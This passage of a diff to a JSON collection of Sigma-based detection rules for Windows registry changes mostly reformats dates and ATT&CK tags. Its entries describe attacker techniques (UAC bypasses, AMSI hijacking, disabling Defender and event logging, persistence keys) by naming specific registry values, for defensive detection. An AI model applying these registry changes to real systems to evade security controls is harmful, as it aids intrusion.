"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ime_non_default_extension.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -4072,7 +4073,7 @@ "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Legitimate SIP being registered by the OS or different software." ], @@ -4081,14 +4082,14 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/codesigning.html", "https://github.com/gtworek/PSBits/tree/master/SIP", "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", + "https://persistence-info.github.io/Data/codesigning.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.003" ] }, @@ -4108,7 +4109,7 @@ "description": "Detects change the the \"AutodialDLL\" key which could be used as a persistence method to load custom DLL via the \"ws2_32\" library", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/10", + "creation_date": "2022-08-10", "falsepositive": [ "Unlikely" ], @@ -4117,8 +4118,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", "https://persistence-info.github.io/Data/autodialdll.html", + "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml" ], "tags": [ @@ -4132,7 +4133,7 @@ "description": "Detects the abuse of custom file open handler, executing powershell", "meta": { "author": "CD_R0M_", - "creation_date": "2022/06/11", + "creation_date": "2022-06-11", "falsepositive": [ "Unknown" ], @@ -4145,7 +4146,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_custom_file_open_handler_powershell_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -4165,7 +4166,7 @@ "description": "Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from different locations such as the Internet.", "meta": { "author": "@SerkinValery, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/12", + "creation_date": "2023-06-12", "falsepositive": [ "Legitimate internal requirements." ], @@ -4179,7 +4180,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_clickonce_trust_prompt.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -4199,7 +4200,7 @@ "description": "Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by setting the value of \"DisableAIDataAnalysis\" to \"0\".\nAdversaries may enable Windows Recall as part of post-exploitation discovery and collection activities.\nThis rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.\n", "meta": { "author": "Sajid Nawaz Khan", - "creation_date": "2024/06/02", + "creation_date": "2024-06-02", "falsepositive": [ "Legitimate use/activation of Windows Recall" ], @@ -4208,8 +4209,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis", "https://learn.microsoft.com/en-us/windows/client-management/manage-recall", + "https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enable_windows_recall.yml" ], "tags": [ @@ -4233,7 +4234,7 @@ "description": "Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute'", "meta": { "author": "Omkar Gudhate", - "creation_date": "2020/09/27", + "creation_date": "2020-09-27", "falsepositive": [ "Unknown" ], @@ -4242,12 +4243,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", "https://www.exploit-db.com/exploits/47696", + "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546", "attack.t1548" ] @@ -4275,7 +4276,7 @@ "description": "Detect the creation of a service with a service binary located in a suspicious directory", "meta": { "author": "Florian Roth (Nextron Systems), frack113", - "creation_date": "2022/05/02", + "creation_date": "2022-05-02", "falsepositive": [ "Unknown" ], @@ -4288,7 +4289,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -4308,7 +4309,7 @@ "description": "Detects a suspicious printer driver installation with an empty Manufacturer value", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/01", + "creation_date": "2020-07-01", "falsepositive": [ "Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value" ], @@ -4321,9 +4322,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574", - "cve.2021.1675" + "cve.2021-1675" ] }, "related": [ @@ -4342,7 +4343,7 @@ "description": "Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Unknown" ], @@ -4355,7 +4356,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_execution_policy.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "fad91067-08c5-4d1a-8d8c-d96a21b37814", @@ -4365,7 +4366,7 @@ "description": "Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)", "meta": { "author": "Omer Yampel, Christian Burkard (Nextron Systems)", - "creation_date": "2017/03/17", + "creation_date": "2017-03-17", "falsepositive": [ "Unknown" ], @@ -4374,13 +4375,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", "https://github.com/hfiref0x/UACME", + "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002", "car.2019-04-001" ] @@ -4401,7 +4402,7 @@ "description": "Detects suspicious new RUN key element pointing to an executable in a suspicious folder", "meta": { "author": "Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing", - "creation_date": "2018/08/25", + "creation_date": "2018-08-25", "falsepositive": [ "Software using weird folders for updates" ], @@ -4434,7 +4435,7 @@ "description": "Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/04", + "creation_date": "2023-01-04", "falsepositive": [ "Unknown" ], @@ -4448,7 +4449,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_amsi_com_hijack.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -4468,7 +4469,7 @@ "description": "Detects the Setting of Windows Defender Exclusions", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/07/06", + "creation_date": "2021-07-06", "falsepositive": [ "Administrator actions" ], @@ -4481,7 +4482,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -4498,10 +4499,10 @@ "value": "Windows Defender Exclusions Added - Registry" }, { - "description": "Detects potential persistence activity via outlook home pages.", + "description": "Detects potential persistence activity via outlook home page.\nAn attacker can set a home page to achieve code execution and persistence by editing the WebView registry keys.\n", "meta": { - "author": "Tobias Michalski (Nextron Systems)", - "creation_date": "2021/06/09", + "author": "Tobias Michalski (Nextron Systems), David Bertho (@dbertho) & Eirik Sveen (@0xSV1), Storebrand", + "creation_date": "2021-06-09", "falsepositive": [ "Unknown" ], @@ -4512,6 +4513,7 @@ "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", "https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us", + "https://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-registry-change", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_outlook_homepage.yml" ], "tags": [ @@ -4535,7 +4537,7 @@ "description": "Detects changes to the \"ExtErrorInformation\" key in order to disable ETW logging for rpcrt4.dll", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/09", + "creation_date": "2022-12-09", "falsepositive": [ "Unknown" ], @@ -4548,7 +4550,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_rpcrt4_etw_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112", "attack.t1562" ] @@ -4576,7 +4578,7 @@ "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -4589,8 +4591,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -4610,7 +4612,7 @@ "description": "Detects potential persistence using Appx DebugPath", "meta": { "author": "frack113", - "creation_date": "2022/07/27", + "creation_date": "2022-07-27", "falsepositive": [ "Unknown" ], @@ -4619,8 +4621,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/rootm0s/WinPwnage", "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/", + "https://github.com/rootm0s/WinPwnage", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml" ], "tags": [ @@ -4644,7 +4646,7 @@ "description": "Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry", "meta": { "author": "Ján Trenčanský, frack113, AlertIQ, Nasreddine Bencherchali", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "Administrator actions" ], @@ -4653,12 +4655,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_defender_service.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -4678,7 +4680,7 @@ "description": "Detects the enabling of the PowerShell script execution policy. Once enabled, this policy allows scripts to be executed.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Thurein Oo", - "creation_date": "2023/10/18", + "creation_date": "2023-10-18", "falsepositive": [ "Likely" ], @@ -4701,7 +4703,7 @@ "description": "Detects when an attacker tries to disable User Account Control (UAC) notification by tampering with the \"UACDisableNotify\" value.\nUAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users.\nWhen \"UACDisableNotify\" is set to 1, UAC prompts are suppressed.\n", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/05/10", + "creation_date": "2024-05-10", "falsepositive": [ "Unknown" ], @@ -4715,8 +4717,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_disable_notification.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1548.002" ] }, @@ -4736,7 +4738,7 @@ "description": "Detect set DisallowRun to 1 to prevent user running specific computer program", "meta": { "author": "frack113", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -4749,7 +4751,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -4769,7 +4771,7 @@ "description": "Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/25", + "creation_date": "2022-10-25", "falsepositive": [ "Unknown" ], @@ -4784,7 +4786,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "ab871450-37dc-4a3a-997f-6662aa8ae0f1", @@ -4794,7 +4796,7 @@ "description": "Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)", "meta": { "author": "frack113", - "creation_date": "2022/03/18", + "creation_date": "2022-03-18", "falsepositive": [ "Legitimate admin script" ], @@ -4807,7 +4809,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_function_user.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -4827,7 +4829,7 @@ "description": "Detects an attacker trying to enable the outlook security setting \"EnableUnsafeClientMailRules\" which allows outlook to run applications or execute macros", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/08", + "creation_date": "2023-02-08", "falsepositive": [ "Unknown" ], @@ -4836,12 +4838,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048", "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44", + "https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_unsafe_client_mail_rules.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -4861,7 +4863,7 @@ "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/22", + "creation_date": "2022-08-22", "falsepositive": [ "Unlikely" ], @@ -4870,8 +4872,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/dez_/status/1560101453150257154", "https://forensafe.com/blogs/typedpaths.html", + "https://twitter.com/dez_/status/1560101453150257154", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml" ], "tags": [ @@ -4885,7 +4887,7 @@ "description": "Detects that a powershell code is written to the registry as a service.", "meta": { "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Unknown" ], @@ -4918,7 +4920,7 @@ "description": "Detects non-sysinternals tools setting the \"accepteula\" key which normally is set on sysinternals tool execution", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/24", + "creation_date": "2022-08-24", "falsepositive": [ "Unlikely" ], @@ -4931,7 +4933,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588.002" ] }, @@ -4951,7 +4953,7 @@ "description": "Hides the file extension through modification of the registry", "meta": { "author": "frack113", - "creation_date": "2022/01/22", + "creation_date": "2022-01-22", "falsepositive": [ "Administrative scripts" ], @@ -4960,8 +4962,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", "https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml" ], "tags": [ @@ -4985,7 +4987,7 @@ "description": "Detects tamper attempts to sophos av functionality via registry key modification", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/02", + "creation_date": "2022-09-02", "falsepositive": [ "Some FP may occur when the feature is disabled by the AV itself, you should always investigate if the action was legitimate" ], @@ -4998,7 +5000,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -5018,7 +5020,7 @@ "description": "Detects tampering with the \"Enabled\" registry key in order to disable Windows logging of a Windows event channel", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/04", + "creation_date": "2022-07-04", "falsepositive": [ "Rare falsepositives may occur from legitimate administrators disabling specific event log for troubleshooting" ], @@ -5032,7 +5034,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -5052,7 +5054,7 @@ "description": "Detects potential WerFault \"ReflectDebugger\" registry value abuse for persistence.", "meta": { "author": "X__Junior", - "creation_date": "2023/05/18", + "creation_date": "2023-05-18", "falsepositive": [ "Unknown" ], @@ -5066,7 +5068,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_reflectdebugger.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -5086,7 +5088,7 @@ "description": "Detects when the 'AllowMultipleTSSessions' value is enabled.\nWhich allows for multiple Remote Desktop connection sessions to be opened at once.\nThis is often used by attacker as a way to connect to an RDP session without disconnecting the other users\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Legitimate use of the multi session functionality" ], @@ -5100,7 +5102,7 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -5120,7 +5122,7 @@ "description": "Detects the modification of the registry to allow a driver or service to persist in Safe Mode.", "meta": { "author": "frack113", - "creation_date": "2022/04/04", + "creation_date": "2022-04-04", "falsepositive": [ "Unknown" ], @@ -5129,12 +5131,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.001" ] }, @@ -5154,7 +5156,7 @@ "description": "Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl", "meta": { "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", - "creation_date": "2022/05/04", + "creation_date": "2022-05-04", "falsepositive": [ "Legitimate use of screen saver" ], @@ -5163,13 +5165,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/pabraeken/status/998627081360695297", "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files", "https://twitter.com/VakninHai/status/1517027824984547329", + "https://twitter.com/pabraeken/status/998627081360695297", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -5189,7 +5191,7 @@ "description": "Detects changes to the \"TracingDisabled\" key in order to disable ETW logging for services.exe (SCM)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/09", + "creation_date": "2022-12-09", "falsepositive": [ "Unknown" ], @@ -5202,7 +5204,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_services_etw_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112", "attack.t1562" ] @@ -5230,7 +5232,7 @@ "description": "Detects when the enablement of developer features such as \"Developer Mode\" or \"Application Sideloading\". Which allows the user to install untrusted packages.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/12", + "creation_date": "2023-01-12", "falsepositive": [ "Unknown" ], @@ -5239,12 +5241,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/malmoeb/status/1560536653709598721", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", + "https://twitter.com/malmoeb/status/1560536653709598721", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_turn_on_dev_features.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "b110ebaf-697f-4da1-afd5-b536fa27a2c1", @@ -5254,7 +5256,7 @@ "description": "Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems), CrimpSec", - "creation_date": "2022/03/18", + "creation_date": "2022-03-18", "falsepositive": [ "Legitimate admin script" ], @@ -5263,15 +5265,15 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.malwarebytes.com/blog/detections/pum-optional-nodispcpl", + "https://www.malwarebytes.com/blog/detections/pum-optional-nodispbackgroundpage", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", + "https://www.malwarebytes.com/blog/detections/pum-optional-nodispcpl", "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", - "https://www.malwarebytes.com/blog/detections/pum-optional-nodispbackgroundpage", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -5291,7 +5293,7 @@ "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -5304,8 +5306,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -5325,7 +5327,7 @@ "description": "Detect set UseActionCenterExperience to 0 to disable the Windows security center notification", "meta": { "author": "frack113", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -5338,7 +5340,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -5358,7 +5360,7 @@ "description": "Detects registry modifications that disable Privacy Settings Experience", "meta": { "author": "frack113", - "creation_date": "2022/10/02", + "creation_date": "2022-10-02", "falsepositive": [ "Legitimate admin script" ], @@ -5371,7 +5373,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -5391,7 +5393,7 @@ "description": "Detects when the \"index\" value of a scheduled task is modified from the registry\nWhich effectively hides it from any tooling such as \"schtasks /query\" (Read the referenced link for more information about the effects of this technique)\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/26", + "creation_date": "2022-08-26", "falsepositive": [ "Unlikely" ], @@ -5404,7 +5406,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -5424,7 +5426,7 @@ "description": "Detects installation of new shim databases that try to patch sections of known processes for potential process injection or persistence.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/01", + "creation_date": "2023-08-01", "falsepositive": [ "Unknown" ], @@ -5458,7 +5460,7 @@ "description": "Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any\nanomalous executables with suspicious arguments. The downloaded file will be in C:\\Users\\redacted\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdaterreSignInSettingsConfig.json\n", "meta": { "author": "frack113", - "creation_date": "2022/05/28", + "creation_date": "2022-05-28", "falsepositive": [ "Unknown" ], @@ -5471,7 +5473,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -5491,7 +5493,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -5501,8 +5503,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml" ], @@ -5527,7 +5529,7 @@ "description": "Detects when an attacker tries to change User Account Control (UAC) elevation request destination via the \"PromptOnSecureDesktop\" value.\nThe \"PromptOnSecureDesktop\" setting specifically determines whether UAC prompts are displayed on the secure desktop. The secure desktop is a separate desktop environment that's isolated from other processes running on the system. It's designed to prevent malicious software from intercepting or tampering with UAC prompts.\nWhen \"PromptOnSecureDesktop\" is set to 0, UAC prompts are displayed on the user's current desktop instead of the secure desktop. This reduces the level of security because it potentially exposes the prompts to manipulation by malicious software.\n", "meta": { "author": "frack113", - "creation_date": "2024/05/10", + "creation_date": "2024-05-10", "falsepositive": [ "Unknown" ], @@ -5540,8 +5542,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_disable_secure_desktop_prompt.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1548.002" ] }, @@ -5561,7 